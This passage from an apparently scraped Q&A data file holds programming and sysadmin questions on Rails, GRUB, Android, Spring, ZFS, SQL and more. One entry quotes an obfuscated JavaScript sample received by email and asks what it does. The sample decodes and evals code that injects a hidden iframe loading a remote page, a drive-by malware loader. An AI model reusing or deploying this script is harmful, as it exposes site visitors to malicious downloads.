belongs_to :book_shelf\n}\n\nclass Page {\n belongs_to :book\n}\n", "ruby-on-rails
associations searchlogic"], "612909": ["Fedora 18, grub2 reinstall, /mnt is empty",
"I have a common problem. I installed Fedora 18 on a PC that also has Windows on
it. When I start the PC, I don't get asked which system I want to boot; Windows is
chosen always.\nSo I found out that I have to reinstall grub2. So I booted from the
Live CD and entered rescue mode (hit in grub2 and adding to the line that begins
with \"linux..\"). Then I should do , but there is no such directory; when I do
and , it's empty. So I have no idea how to change root. When I do , the Fedora
installation is in partition . \nI am totally lost. All help would be appreciated.\
n", "e", "fedora livecd grub2"], "5332653": ["Galaxy Nexus full screen app missing
on screen buttons", "I am working on an app using my Galaxy Nexus as my test phone.
I have it set up as full screen and without a title with this in the :\n\nFor some
reason, when I launch the app, the on screen buttons go away, so I can't exit the
app. I have no way to test it on another nexus right now, so I don't know if it is
my phone or if it is the nexus. Does anyone have any insight on this? It is
targeted to 2.1.\n", "onCreate()", "android fullscreen galaxy"], "2469360":
["Reactive Extensions vs Event Aggregator", "I am new to Reactive Extensions. I
understand that Rx observes for any changes (at runtime) to the underlying object
and notifies when changed to the subscribers. \nConsider the Rx for events, which
checks for any events and publish those changes to the subscribes. similarly we
have event aggregators, which publishes the events to subscribers. Both are doing
the same work. Is both serving same purpose. do we have any differences between
both.\nThanks for your response\n", "", ".net system.reactive eventaggregator"],
"1835790": ["Decifer the meaning of this script", "I recently received an email and
contains an htm document which contains this script.\nI took some time to format it
so it is easier to read.\nI guess more specifically what functionality is the f
variable holding?\n\n", "<script>\nif(window['doc'+'ume'+'nt'])\n aa=/\\
w/.exec(new Date()).index+[];\naaa='0';\ntry{new location();}\ncatch(qqq)
{ss=String;}\n\nif(aa===aaa) //this below is a long string\n f='-30q-30q66q63q-
7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58
q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-
30q-30q86q-7q62q69q76q62q-7q84q-30q-
30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-
7q76q75q60q22q0q65q77q77q73q19q8q8q60q66q72q71q77q72q72q58q59q64q72q72q73q73q72q58q
7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q
-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-
7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q7
6q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20
q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-
30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-
7q63q-7q22q-
7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q
70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q7
3q19q8q8q60q66q72q71q77q72q72q58q59q64q72q72q73q73q72q58q7q75q78q19q17q9q17q9q8q66q
70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7
q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73
q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62
q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q7
7q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q
66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-
30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q
70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-
30q-30q86'.split('q');\nmd='a';\ne=window['e'+'val'];\nw=f;s='';\
nfr='f'+'ro'+'m'+'Char';\nr=ss[fr+'Code'];\nfor(i=0;-i>-w.length;i++){\n j=i;\n
s=s+r(39+1*w[j]);\n}\nif(Math.round(-4*Math.tan(Math.atan(0.5)))===-2)\n z=s;\
ne(z);\n</script>\n", "script malicious"], "3548858": ["Is there a Visual Studio
plugin (preferably Resharper) that has camel case selection", "\nPossible
Duplicate:\nMake Visual Studio understand CamelCase when hitting ctrl and cursor
keys \n\nExact duplicate of this thread\nI have some quite long variable / field
names in my code and I'm finding the default behaviour for CTRL+SHIFT+Right-Arrow
and CTRL+SHIFT+Left-Arrow to be less productive than if it were to adhere to camel
casing. Here's an example.\nSay the cursor is before the A in AndAnotherThing.\
nCTRL+SHIFT+Right-Arrow will select the entire variable while adherance to camel
casing would only select And.\nIs there any tool or plugin for Visual Studio that
can do this?\nEdit:\nI'd also like similar behaviours for CTRL+Left-Arrow and
CTRL+Right-Arrow\n", "", "visual-studio resharper software-tools"], "4727361":
["All network devices freezing when Airport Extreme Base Station is connected. Any
ideas?", "I've been troubleshooting this issue for a while, and through a series of
events have it narrowed down to my airport extreme base station. I like this
router, since I'm able to connect to IPV6 sites without any insane configuration
(my alternate router is too old and doesn't support v6).\nMy question is: Has
anyone else had this issue, if so how is it resolved? If not, can you recommend a
good IPv6 router?\nHere is how I came to the conclusion that it is the router:\
nDevices: XBOX 360, HTC Incredible, Home-Built machine running FreeBSD, Home-Built
machine running Ubuntu 10.04.\n1.) Noticed freezing on Ubuntu Box.\n2.) Noticed
freezing on XBOX360\n3.) Noticed freezing on HTC Incredible (only when connected to
my network wirelessly).\nThe above all happened at random times throughout the past
few weeks. Over the last few days, I was playing XBOX and noticed that the XBOX and
Ubuntu machines both froze. I picked up my phone, and it was also frozen. I reset
all devices, power-cycled my router, and all was fine again. About two hours later,
it happened again (I was playing Forza III, the XBOX froze; I went to the Ubuntu
box and it was frozen; unfortunately, the HTC phone was not connected wirelessly,
and the FreeBSD box was turned off).\nI can't even begin to imaging what a router
could be doing to freeze devices with such differing hardware/software/OS, and I
feel absurd for coming to this conclusion, but I have nothing else. I hooked up my
archaic Netgear router, and have had no problems since. :(\n", "", "ubuntu-10.04
airport extreme xbox"], "4233333": ["How to obtain the GPS position of the user and
actualice a textview everytime the position has changed?", "I'm trying to make a
simple activity that reads the GPS position of the user and actualices a simple
textview everytime the position of the user changes.\nI find some examples en
google but all of them are not nice examples, because only capture the position of
the user ONE time, and i need that the textview get's actualiced everytime the
position changes with the new latitude and longitude of the user.\nI tryed to do a
thread but it fails and i think it is not necesary to do a thread, im in the wrong
way.\nCode examples are welcome\nEDIT: i'm adding the solution proposed by the user
NickT. This solution fails. I dont know why but only actualizes two times the
textview, with the two first GPS values that i pass to the emulator with DDMS....
after this the thextview isn't getting actualiced more times... \u00bfwhy?. I make
a breakpoint in onLocationChanged, and it only get's called the first two times i
send a gps positiones... but never more. \u00bfwhat is happening?\n\n", "public
class GpsMiniActivity extends Activity implements LocationListener{\n\nprivate
LocationManager mLocMgr;\nprivate TextView tv1;\n@Override\npublic void
onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n\n
FrameLayout rl = new FrameLayout(this.getApplicationContext());\n LinearLayout
ll= new LinearLayout(this.getApplicationContext());\n
ll.setOrientation(LinearLayout.VERTICAL);\n\n setContentView(rl);\n
rl.addView(ll);\n\n tv1=new TextView(getApplicationContext());\n
ll.addView(tv1);\n\n //setContentView(R.layout.main);\n mLocMgr =
(LocationManager) getSystemService(LOCATION_SERVICE);\n
mLocMgr.requestLocationUpdates(LocationManager.GPS_PROVIDER,\n 500, 0,
this);\n}\n@Override\npublic void onLocationChanged(Location location) {\n
tv1.setText(\"Lat \" + location.getLatitude() + \" Long \" +
location.getLongitude());\n}\n\n@Override\npublic void onProviderDisabled(String
provider) {}\n\n@Override\npublic void onProviderEnabled(String provider) {}\n\
n@Override\npublic void onStatusChanged(String provider, int status, Bundle extras)
{}\n\n}\n", "android gps"], "2830718": ["Special Login with Spring Security", "The
company where i am currently working has a special kind of authentication
process. \nIndeed, several users can have the same login and password. So, to
identify them, in a second time, the user has to give his email. But again, in a
few cases, several users can be concerned and then, the user has to give his
company id to be full authenticated.\nSo, my problem is that in some cases, the
authentication process cannot be done in one step, which is the default behaviour
of most applications that Spring Security handles out of the box.\nSo my question
is : what is the simpliest way to implement with Spring Security this special login
process ?\nThanks in advance.\n", "", "java spring-mvc spring-security"],
"2149640": ["Drupal: too many modules?", "I'm using Drupal with many modules
because I need a lot of functionalities such as Newsletter, Taxonomy menus, Embed
Videos.. and many other modules.\nI get a fatal error when I enable all of them,
but the point is that I'm using my development server with 128M of php memory.\nSo,
I'm wondering... is basically impossible to run all these modules together in
Drupal, or am I missing something ?\nthanks\nUpdate: this is the error message I
get:\nFatal error: Allowed memory size of 134217728 bytes exhausted (tried to
allocate 30220918 bytes) in /includes/bootstrap.inc on line 840\n", "", "drupal
drupal-6"], "1817022": ["Call Function from Dynamic Library", "What would be the
best way to, if possible, load a dynamic library and call one of it's functions,
when we don't know the name of the function during compile-time?\nFor example, is
there a way to make a program that reads a string from a file and then loads a DLL
and searches for and calls a function with its name being the string read from the
file?\nHelp would be very much appreciated.\n", "", "c++ windows function dll
dynamic"], "5592838": ["Clojure Noir routing priority", "I am working on a web
application with Noir. However, I am experiencing problem with routing. Here's the
code sample from my controller:\n\nEvery time I am requesting \"/users/add\", the
request is being routed to \"/user/:id\" (it is fine when I remove /user/add
action). I have very similar code for another controller and it is working fine.
What might be the problem? How to set routing priorities?\nThanks,\nJacek\n",
"(defpage [:get \"/users/add\"] []\n (common/layout\n [:div.row\n
[:div.span12\n [:div.page-header\n [:h2 \"Add User\"]]\n
(form-to {:class \"form-horizontal\"} [:post \"/users/add\"]\n (user-form
{:id \"\"\n :first_name \"\"\
n :last_name \"\"\n :login \"\"\n
:email \"\"\n :admin false\n :staff false\n
:manager false\n :customer false})\n [:div.control-
group\n [:div.controls\n (submit-button {:class \"btn btn-
primary\"} \"Edit\")]])]]))\n\n\n(defpage [:get \"/users/:id\" :id #\"\\d+\"]
{:keys [id]}\n(let [user (user/get-by-id id)]\n (common/layout\n [:div.row\
n [:div.span12\n [:div.page-header\n [:h2 \"View User\"]]\n
[:h3 (str (user :first_name) \" \" (user :last_name))]\n [:dl.dl-horizontal\
n [:dt
\"login\"]\n [:dd (user :login)]\n [:dt \"e-mail\"]\n [:dd
(user :email)]\n [:dt \"admin\"]\n [:dd (if (user :admin) [:i.icon-
ok \"\"] [:i.icon-remove \"\"])]\n [:dt \"staff\"]\n [:dd (if (user
:staff) [:i.icon-ok \"\"] [:i.icon-remove \"\"])]\n [:dt \"manager\"]\n
[:dd (if (user :manager) [:i.icon-ok \"\"] [:i.icon-remove \"\"])]\n
[:dt \"customer\"]\n [:dd (if (user :customer) [:i.icon-ok \"\"] [:i.icon-
remove \"\"])]]\n [:div.form-actions\n [:a.btn.btn-primary {:href
(str \"/users/\" (user :id) \"/edit\")} \"Edit\"] \" \"\n [:a.btn.btn-
danger {:href (str \"/users/\" (user :id) \"/remove\")} \"Remove\"] \" \"\n
[:a.btn {:href \"/users\"} \"All users\"]]]])))\n", "clojure routing routes noir"],
"3723103": ["Frame around text and floats", "Consider the following \n\nNow I would
like to put a frame around the text and the figure. Ofcourse one could remove the -
environment and wrap everything with the -environment but I need to keep the
caption and label (the latter for dynamic referencing):\n\nI tried the following
code but it seems not work:\n\n", "TEXT TEXT TEXT TEXT Figure~\\ref{fig:foo} TEXT
TEXT TEXT TEXT TEXT TEXT TEXT TEXT TEXT\n\n\\begin{figure}\n\\centering\n\\
includegraphics[width=\\textwidth]{foo}\n\\caption{This is foo.}\n\\label{fig:foo}\
n\\end{figure}\n", "floats boxes"], "2375440": ["bzr portable runtime", "I am
looking for a portable (as in no-install needed, can-run-from pendrive)
installation for Bzr with a graphical UI, a decentralized version control system.\
nI would like to recommend it to my students, who have no admin privileges on lab
computers. Git is, IMHO, too unfriendly to use for second-year programmers, but I
would be glad for any suggestions or ideas.\n", "", "windows portable bazaar bzr"],
"4452183": ["Best Method of function parameter validation", "I've been dabbling
with the idea of creating my own CMS for the experience and because it would be fun
to run my website off my own code base.\nOne of the decisions I keep coming back to
is how best to validate incoming parameters for functions.\nThis is mostly in
reference to simple data types since object validation would be quite a bit more
complex.\nAt first I debated creating a naming convention that would contain
information about what the parameters should be, (int, string, bool, etc) then I
also figured I could create options to validate against. But then in every
function I still need to run some sort of parameter validation that parses the
parameter name to determine what the value can be then validate against it, granted
this would be handled by passing the list of parameters to function but that still
needs to happen and one of my goals is to remove the parameter validation from the
function itself so that you can only have the actual function code that
accomplishes the intended task without the additional code for validation.\nIs
there any good way of handling this, or is it so low level that typically parameter
validation is just done at the start of the function call anyway, so I should stick
with doing that.\n", "", "design php design-patterns functions methods"],
"5191025": ["DataSourceTransactionManager and test for active transaction", "I have
a simple app that use to manage the transactions.\nMy spring config is as follow:\
n\nI have annotated the method with and print out the \nBut the out put is . What
have i done wrong ?\nEdit: i forgot to say that i test that with . I included the
and this will not work. Now it worked after i extend the class with \n",
"org.springframework.jdbc.datasource.DataSourceTransactionManager", "spring
transactions spring-jdbc"], "6013721": ["Missing a Temporary Folder", "I'm working
on a mac OSX 10.8 using the built in apache server and php/mysql to develop on
moodle 2.4\nthe problem i'm having is that why I try and upload anything I get the
error message PHP is missing a Temporary Folder. \nI then downloaded the live copy
onto my laptop as i know this is working, and still got the same error on my
localhost.\nHow can i fix this?\n", "", "php apache localhost"], "5237567":
["#error command invoke error", "I am trying to run and debug C code in Tux Racer
source code for Android. Most of a code is written in C, so I converted Android
project into C Project (Adds C/C++ Nature). I used Cygwin toolchain.\nNow I have
problem because Eclipse is finding some imaginary errors in code, like:\n\n, where
he sees as an error. But not everywhere! Only in this place in code. If I shift
this line somewhere else, then it's fine. But, this should in any case stay where
it is.\nBefore, I used to just rebuild C code from Cygwin console, and then run
from Eclipse Android app, and it worked fine.\n", "#if defined( HAVE_SDL )\n#
include \"SDL.h\"\n#elif defined( HAVE_GLUT )\n# include \"GL/glut.h\"\n#elif
defined( __APPLE__ )\n\n#else\n\n# error \"Neither SDL nor GLUT are present.\"\n\
n#endif\n", "c debugging cygwin eclipse-cdt"], "5934803": ["Command pattern to pass
application's activity methods?", "After reading the the Avoiding memory leaks
article by @RomainGuy I realized that my current Android application is plagued
with the mistake of passing the application's main activity around. So whenever I,
can I simply replace that activity parameter with
Activity.getApplicationContext().\nBut there are certain classes in my application
that still need to run methods that can only be members of the applications main
activity.\nThus I was thinking of possibly using the Command Pattern to workaround
this limitation.\nThe problem is that, if we look at that example:\n\nI am running
again into the dead end of needing the pass around the activity (this time
disguised as data).\nHow do I get out of this \"chicken & the egg\" situation?\nIs
there a better way to approach this problem?\n", "public class
SomeCommandExecuableOnlyByActivity implements Command \n{\n public void
execute(Object data) \n {\n doIt( ((MyActivity)data).getWindow() );\
n } \n}\n", "android memory-leaks android-activity command-pattern java-
memory-model"], "3529860": ["Technology Choice: Throttling Job Queue behind
ASP.Net/SignalR Service", "I got a webservice consisting primarily of SignalR hubs
hosted in an ASP. Net site. Clients (Silverlight) talk to that service and, amongst
other things, can initiate jobs. A job consists of between 10 and a few hundred
operations which need to be executed against an external API which expects me to
not exceed a certain number N of operations per second. N is global, that is, I got
to keep that limit for the total of all my clients. For example, if client A sends
me a job translating into 20 operations against that API, and client B sends a job
for 40 operations, and, say, the limit was 10 operations per second, then it will
take 6 seconds to finish both jobs. \nConceptually, this is a queue with multiple
producers (the clients via the webservice) and a single consumer (the code taking
the jobs, splitting them into operations and sending those to the external API)
which takes care of the throttling. \nNow before I completely build that from
scratch, building on NET framework stuff, I'd like to check whether there is any
Windows server side technology particularly suited for/geared towards such a
scenario. \nEDIT: whatever I do, I need to be able to deploy to a shared hosting
environment like WinHost - this is a private pet project with no profit, so I won't
be able to afford a dedicated server. \nAny ideas, pointers, thoughts?\n", "",
".net web-services queue"], "5109991": ["Free space on ZFS file system unexpectedly
missing", "Going to completely rephrase this question since it's still an
outstanding production issue several months later.\nI have a FreeNAS 0.7.2 box,
based on FreeBSD 7.3-RELEASE-p1, running ZFS with 4x1TB SATA drives in RAIDz1.\nI
appear to have lost 1TB of usable space after creating and deleting a 1TB sparse
file. This happened months ago.\nThis table lays out the situation as it stands.\n\
n\nNo snapshots anywhere in the pool\nCompression is off\nDe-dupe is off\nZFS pool
verion is 13\nZFS FS version is 3\nUsing the \"embedded\" version of FreeNAS \nFile
was created with dd using /dev/zero as input, deleted using rm, all as root\nFile
has definitely been deleted\nWindows can see the folder via SMB\nWindows version is
7\nNot sure how to determine whether the bug suggested by an answerer below has
been resolved in the ZFS pool and FS versions in the FreeBSD I am using\n\nAsk away
any questions you like, I can get shell on the box from anywhere.\nReally
appreciate any advice or thoughts.\nTom\n", "command actual
expected ok/not ok\n\ndu -c 1.47TB used 1.47TB used
ok\n\nzfs list used 2.48TB used 1.47TB not ok\n
avail 206GB avail 1.2TB not ok\n\nzpool list size 3.64TB
size 3.64TB ok\n used 3.31TB used 1.95TB not
ok\n avail 334GB avail 1.69TB not ok\n\nWindows right
Disk size 2.67TB Disk size 2.67TB ok\n click disk, Used 2.47TB Used
1.47 not ok\n properties free 206GB free 1.2TB not ok\
n\nWindows select total file size total file size\n all files, 1.48TB
1.48TB ok\n right click, \n properties\n", "filesystems freebsd zfs
freenas largefiles"], "1454888": ["How to write a SQL query to insert from a triple
many-to-one relationship to a many-to-many relationship?", "I the following two
tables/columns:\n\nThe first three columns in TableB are foreign keys all pointing
to TableA. I would like to transform TableB into the following two tables:\n\nso
that one row in TableB becomes one row in TableC plus three
rows in TableD. How should I write a SQL query for this?\nEDIT:\nIn , there is a
unique index on , but the column does not necessarily have unique values.\n",
"TableA\nid | data\n\nTableB\nfkeyA1 | fkeyA2 | fkeyA3 | name\n", "sql sql-server
sql-server-2008 many-to-many sql-server-2008-r2"], "2375441": ["Is the read speed
of a SSD equal to or greater than the write speed?", "Looking at the benchmarks of
two SSDs on today's market, one by Samsung and one by OCZ, I noticed something
interesting between them. Samsung had faster reads than writes. While the Vector
had roughly equal write/read throughput. \n\nBenchmark used is Blackmagicdesign's
Disk Speed Test. I have noticed similar results with other SSDs.\nWhy is this the
case? Is the read speed of a SSD equal to the write speed, or is it faster?\n", "
Read Write\nSamsung 515 MB/s 491 MB/s\nOCZ 497 MB/s 467 MB/s\n",
"performance ssd"], "2434706": ["EF 4 + MVC: jQuery autocomplete and
RemoteValidation conflict issue", "I have the known issue with jQuery autocomplete
and Remote Validation: if I write some values inside an autocomplete control, when
I select the value and the control lose focus, the value passed to remote
validation is the typed one and not the selected one. \nFor example: \nI type LEO,
autocomplete shows me LEO N and LEO PARD and I select LEOPARD. The remote
validation is triggered, but the valued passed is the typed text LEO and NOT the
selected one.\nI tried the following solution described by Mr James on
CulbertonExchange, but it needs to submit data to the form, while I still need to
trigger the validation immediately on selection or lost focus:\n\nI also tried
setting and/or to , but it still does not work:\n\nI think that I could solve my
problem, disabling onkeyup and onfocusout events and re-enabling them everytime
event of the autocomplete occurs? What do you think about this possible solution.
How could be implemented?\nThanks in advance for your precious help!\n", " <!--
THE AUTO TRIGGER TO REMOTE VALIDATION IS DISABLED, BUT THIS IS NOT REQUIRED
BEHAVIOUR -->\n <script type=\"text/javascript\">\n window.onload =
function () {\n var validatorSettings = $
('#myform').validate().settings;\n validatorSettings.onkeyup = false;\n
validatorSettings.onfocusout = false;\n }\n </script>\n", "jquery
asp.net-mvc-3 autocomplete remote-validation"], "3946540": ["How to learn web
design?", "Now that I'm learning HTML & CSS, I realize that I have a hard time
making my designs look nice. Here's a template I created. So basically I was
wondering if there are any tutorials availible for me to learn how to spice up the
graphics.\nAlso, how do you get areas in HTML/CSS with rounded edges?\n", "", "html
design graphics tutorials"], "5955421": ["How to have one RadioButtons group
display in EditorTemplates in ASP.Net MVC(3)", "I have a list of items from which I
want the user to be able to input some value select one\nBut the radio-buttons
generated by the EditorTemplate are named like \"Item[x].SelectedItemId\" so they
are totally independent from each other and I can't get the value...\nLet's go show
some code.\nThe model:\n\nThe view:\n\nThe editor template:\n\nUPDATE\nThis is what
I want:\n\nThis is what I get:\n\nAs a result, FormModel.SelectedItemId never gets
the value of any radio-button.\nWhat am I doing wrong?\n", "public class FormModel\
n{\n public List<ItemModel> Items { get; set; }\n public int SelectedItemId {
get; set; }\n}\n\npublic class ItemModel\n{\n public int ItemId { get; set; }\n
public string ItemName { get; set; }\n public string SomeString { get; set; }\
n}\n", "asp.net-mvc radio-button"], "4727180": ["Multiple dynamic post actions not
working", "My problem is, I have a search form on my page, which I use to search in
the library database of our university. When I put one single search form on the
page it works and I can change the type of input you are looking for (ex. Title /
Autho / Keyword). The problem is, when I put multiple search forms on the page, it
gets stuck and whatever I do it won't work. I tried to post it below but it came
weird. The code can be also seen here as a text file.Any help appreciated and
thanks in advance. \n\n\n\n", "<table width=\"950\" border=\"1\">\n <tr>\n
<td>&nbsp;</td>\n <td>Videorecording</td>\n <td>\n <span
class=\"spanFormat\">\n <form style=\"margin: 0px; font-size: 12px;\"
action=\"http://ris.univ.edu/search~S5/t\" method=\"get\" name=\"frm_video\" >\n
<input style=\"margin-top: 3px; width: 180px;\" onfocus=\"javascript:
if(this.value=='Search videos') this.value='';\" onblur=\"if(this.value=='')
this.value='Search videos';\" type=\"text\" name=\"SEARCH\" value=\"Search videos\"
size=\"48\" />\n\n <select id=\"slc_video\" style=\"width: 125px; font-size:
12px;\" size=\"1\" onchange=\"document.frm_video.action = + this.val();\">\n
<option selected=\"selected\"
value=\"http://ris.univ.edu/search~S5/t\">TITLE</option>\n <option
value=\"http://ris.univ.edu/search~S5/a\">AUTHOR/ARTIST</option>\n <option
value=\"http://ris.univ.edu/search~S5/Y\">KEYWORD</option>\n <option
value=\"http://ris.univ.edu/search~S5/c\">CALL NO</option>\n <option
value=\"http://ris.univ.edu/search~S5/d\">SUBJECT</option>\n </select>\n
<input style=\"width: 56px;\" type=\"submit\" value=\"Submit\" /></form></span>\n
</tr>\n\n <tr>\n <td>&nbsp;</td>\n <td>Soundrecording</td>\n <td>\n
<span class=\"spanFormat\">\n <form style=\"margin: 0px; font-size: 12px;\"
action=\"http://ris.univ.edu/search~S6/t\" method=\"get\" name=\"frm_sound\" >\n
<input style=\"margin-top: 3px; width: 180px;\" onfocus=\"javascript:
if(this.value=='Search videos') this.value='';\" onblur=\"if(this.value=='')
this.value='Search videos';\" type=\"text\" name=\"SEARCH\" value=\"Search videos\"
size=\"48\" />\n\n <select id=\"slc_sound\" style=\"width: 125px; font-size:
12px;\" size=\"1\" onchange=\"document.frm_sound.action =
'http://ris.univ.edu/search~S6/'+this.val();\">\n <option
selected=\"selected\" value=\"t\">TITLE</option>\n <option
value=\"a\">AUTHOR/ARTIST</option>\n <option value=\"Y\">KEYWORD</option>\
n <option value=\"c\">CALL NO</option>\n <option
value=\"d\">SUBJECT</option>\n </select>\n <input style=\"width:
56px;\" type=\"submit\" value=\"Submit\" /></form></span>\n </tr>\n\n <tr>\n
<td>&nbsp;</td>\n <td>Slides</td>\n <td>\n <span class=\"spanFormat\">\n
<form style=\"margin: 0px; font-size: 12px;\"
action=\"http://ris.univ.edu/search~S4/t\" method=\"get\" name=\"frm_slide\" >\n
<input style=\"margin-top: 3px; width: 180px;\" onfocus=\"javascript:
if(this.value=='Search videos') this.value='';\" onblur=\"if(this.value=='')
this.value='Search videos';\" type=\"text\" name=\"SEARCH\" value=\"Search videos\"
size=\"48\" />\n\n <select id=\"slc_slide\" style=\"width: 125px; font-size:
12px;\" size=\"1\" onchange=\"document.frm_slide.action =
'http://ris.univ.edu/search~S4/'+this.val();\">\n <option
selected=\"selected\" value=\"t\">TITLE</option>\n <option
value=\"a\">AUTHOR/ARTIST</option>\n <option value=\"Y\">KEYWORD</option>\
n <option value=\"c\">CALL NO</option>\n <option
value=\"d\">SUBJECT</option>\n </select>\n <input style=\"width:
56px;\" type=\"submit\" value=\"Submit\" /></form></span>\n </tr>\n</table>\n",
"html forms dynamic action"], "5952887": ["ASP \"Operation not Allowed\" error
occured while eecute Request.Form method", "I have run the following script for
increase the file size for upload\n E:\\inetpub\\adminscripts\n cscript
adsutil.vbs set w3svc/ASPMaxRequestEntityAllowed size\nAfter running the command.I
am getting this error...\nRequest object error 'ASP 0104 : 80004005' \nOperation
not Allowed \n/ewqms370/common/indexintermediate.asp, line 63 \n...for this code
here:\nstrUserName=Replace(Request.Form(\"txtUserName\"),\"'\",\"''\")\nCan anyone
see something wrong???\n", "", "asp-classic"], "1524869": ["C - Binary tree of
threads", "I'm using the array implementation for simulating a binary tree of
threads.\nHere's some of my code:\n\nAs you can see, I'm using a recursive function
to create the threads beyond the first two workers. Also, I'm putting a flag so I
can know when my \"tree\" hits the final leaf threads.\nWith 4 levels it works
great but things start to get weird and fail with level>4.\nWith 5 levels, the join
of the thr[2] throws a segfault (checked with Valgrind).\nAny ideas of what might
be wrong?\n===============================================================\nEDIT:
Valgrind output\n\n", "void *genThreads(threadData *b) {\n if (final level is
reached) {\n // print something \n } else {\n // The i I
need is carried in b, that is, the data struct for every thread\n
pthread_create(&thr[i*2+1],NULL,genThreads,dat[i*2+1]);\n
pthread_create(&thr[i*2+2],NULL,genThreads,dat[i*2+2]);\n
ptread_join(thr[i*2+1],NULL);\n ptread_join(thr[i*2+2],NULL);\n }\n}\n\
nvoid *rootThread(rootThreadData *d) {\n
pthread_create(thr[1],NULL,genThreads,dat[1]);\n
pthread_create(thr[2],NULL,genThreads,dat[2]);\n pthread_join(thr[1],NULL);\n
pthread_join(thr[2],NULL);\n}\n\n\nmain() {\n rootThreadData root;\n
pthread_t thr[size];\n threadData dat[size];\n\n
pthread_create(&thr[0],NULL,rootThread,root);\n pthread_join(thr[0],NULL);\n\n}\
n", "c pthreads segmentation-fault binary-tree"], "1036964": ["GLSL 3D Noise
Implementation on ATI Graphics Cards", "I have tried so many different strategies
to get a usable noise function and none of them work. So, how do you implement
perlin noise on an ATI graphics card in GLSL?\nHere are the methods I have tried:\
nI have tried putting the permutation and gradient data into a GL_RGBA 1D texture
and calling the texture1D function. However, one call to this noise implementation
leads to 12 texture calls and kills the framerate.\nI have tried uploading the
permutation and gradient data into a uniform vec4 array, but the compiler won't let
me get an element in the array unless the index is a constant. For example:\n\nwill
give a compiler error of this:\nERROR: 0:43: Not supported when use temporary array
indirect index.\nMeaning I can only retrieve the data like this:\n\nI also tried
programming the array directly into the shader, but I got the same index issue. I
hear NVIDIA graphics cards will actually allow this method, but ATI will not.\nI
tried making a function that returned a specific hard coded data point depending on
the input index, but the function, being called 12 times and having 64 if
statements, made the linking time unbearable.\nATI does not support the \"built
in\" noise functions for glsl, and I cant just precompute the noise and import it
as a texture, because I am dealing with fractals. This means I need the infinite
precision of calculating the noise at run time.\nSo the overarching question is...\
nHow?\n", "int i = 10;\nvec4 a = noise_data[i];\n", "opengl glsl noise"],
"5187923": ["OnClick attribute causing error after upgrading .net from 1.1 to 2.0",
"Everything worked fine in 1.1, but after upgrading to 2.0 im getting a parse error
saying my Microsoft.Web.UI.WebControls.TreeNode does not have public property named
OnClick. I give it said attribute in an xslt file as so:\n\nWhat changed with this
attribute between the two versions? \nFurther explanation: I have a data relation
with categories, and under each category will be a link to a different report.
The relation is converted to xml, and then transformed using the xslt file. After
the upgrade, the onclick of these links doesnt work. I comment that section of the
xslt file out. The treeview loads with all of the parent categories, but when i
try to click on one to expand it out to show the links, everything disappears.\
nLink to my .net sub http://snipt.org/spmkg5.\nLink to xslt file:
http://snipt.org/spmkh8\nI know the sub is a bit of a mess to look at but if i
could get some advice it would be great.\n", "<xsl:attribute name=\"OnClick\">\n
<xsl:value-of select=\"OnClick\" />\n</xsl:attribute>\n", ".net xslt"], "862054":
["Big O proof of statement", "I am having a hard time proving that $n^k$ is $O(2^n)
$ for all $k$. I tried taking $\\log_2$ of both sides and have $k\\cdot \\log_2 n
=n$ but this is wrong. I am not sure how else I can prove this.\nThanks.\n", "",
"homework asymptotics proof-strategy"], "4987597": ["Does the Intergral Test
require the integrand to converge to zero to be applicable?", "Is there an error in
the following statement of the Integral Test (from David Brannan's Mathematical
Analysis)?\n\nThe author requires the integrand (equivalently, the general term of
the series) to converge to zero for the test to be applied. Is this correct? For if
the integrand converges to zero, then the series converges, so there is no need to
apply the Integral Test, is there?\n", "", "calculus real-analysis sequences-and-
series analysis divergent-series"], "3157281": ["nocheck within admin file for
pkgadd still asks questions", "I place the following into an admin file called \n\
nmail=\ninstance=overwrite\npartial=nocheck\nrunlevel=nocheck\nidepend=nocheck\
nrdepend=nocheck\nspace=nocheck\nsetuid=nocheck\nconflict=nocheck\naction=nocheck\
nbasedir=default \n\nThen run - yet am still queried for:\n'Select package(s) you
wish to process'\nIs there a way around the questioning without doing an \"echo
yes\" at the front?\nThank you\n", "noask", "solaris"], "2820891": ["Best practise
